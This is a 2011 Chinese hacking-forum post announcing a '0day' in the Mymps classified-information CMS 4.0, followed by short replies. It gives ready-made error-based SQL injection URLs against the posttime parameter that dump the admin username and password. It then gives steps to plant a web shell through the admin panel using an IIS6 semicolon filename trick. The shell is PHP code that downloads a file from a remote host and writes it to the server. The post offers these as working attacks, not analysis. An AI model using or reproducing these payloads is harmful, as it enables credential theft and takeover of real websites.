蚂蚁分类信息系 0days

本帖最后由 kimdle 于 2011-12-12 08:45 编辑

受影响的厂商:
www.mymps.com.cn
是否通杀:
4.0版本 其他版本为测试
漏洞产生:
\mayi\data\info_posttime.php代码

[code="php"]
01.<?php
02.省略.....
03.$info_posttime = array();
04./信息检索的发布时间下拉框选项/
05.//注意单位为天,一周则为7,一个月则为30,以此类推
06.$info_posttime[0] = '不限';
07.$info_posttime[3] = '3天内';
08.$info_posttime[7] = '一周内';
09.$info_posttime[30] = '一个月以内';
10.$info_posttime[90] = '三个月以内';
11.?>

\mayi\search.php代码

[code="php"]
01.一大推....省略...
02.$where .= $posttime != '' ? "AND i.begintime >= (".$timestamp."-".$posttime."360024)" : "";
03.一大推....省略...
04.$sql = "SELECT i.id,i.html_path,i.begintime,i.title,i.content,i.ismember,i.contact_who,i.begintime,i.catid,c.catname FROM {$db_mymps}information AS i LEFT JOIN {$db_mymps}category AS c ON i.catid = c.catid WHERE 1 {$where} {$extra_in} ORDER BY i.begintime DESC";
05.$search['rows_num'] = $rows_num = $db -> getOne("SELECT COUNT(i.id) FROM {$db_mymps}information AS i WHERE 1 {$where} {$extra_in}");//没过滤的带入查询了....

注入篇:
爆用户:

[code="php"]
01.http://127.0.0.1/info.php?catid=155&areaid=&posttime=3) and (select 1 from(select count(*),concat((select (select concat(0x7e,0x27,uname,0x27,0x7e)) from 前缀_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%20and%20(111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444

爆密码:(记得修改"前缀_")

[code="php"]
01.http://127.0.0.1/info.php?catid=155&areaid=&posttime=3) and (select 1 from(select count(*),concat((select (select concat(0x7e,0x27,pwd,0x27,0x7e)) from 前缀_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%20and%20(111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444

一般前缀是my 完整是my_admin
如果语句不够长自己加,太长去掉...
后台拿shell篇:
登入后台 > 栏目设置 > 新增栏目
路径存放形式:
自定义目录名
输入:iis60day.php;
栏目内容:

[code="php"]
01.Hey web master,Have a nice day o.O? I hope so! HaHa
02.<?php
03.$str=file_get_contents($_GET['url']);
04.echo file_put_contents($_GET['file'],$str);
05.?>

然后关键在这里了...
扩展 > 生成网站站务 > 选择栏目中选择"关于我们" > 开始生成html
访问
http://路径/html/aboutus/iis60day.php;.html?url=http://*.144.*.*/testsec.php&file=4z1.php

来看看 哈哈!!

**回复 2# 葙守 **

给你沙发。。

这个拿shell有问题。编辑器过滤了php语句!!

可以直接设置上传文件夹后缀 {:4_37:}

**回复 5# qqq5354 **

求详细!!!

看看那!!!!!!!!不错!!

后面加长是干啥??{:4_69:}

应该被RI的差不多了 来晚了哈哈

这个对环境要求比较苛刻啊。。遇到的都是linux系统。。求详细!!!

可以直接设置上传文件夹后缀
qqq5354 发表于 2011-12-12 10:56 [[img]http://www.90sec.org/images/common/back.gif[/img\]](http://www.90sec.org/redirect.php?goto=findpost&pid=9196&ptid=1033)

人呢?也不来了?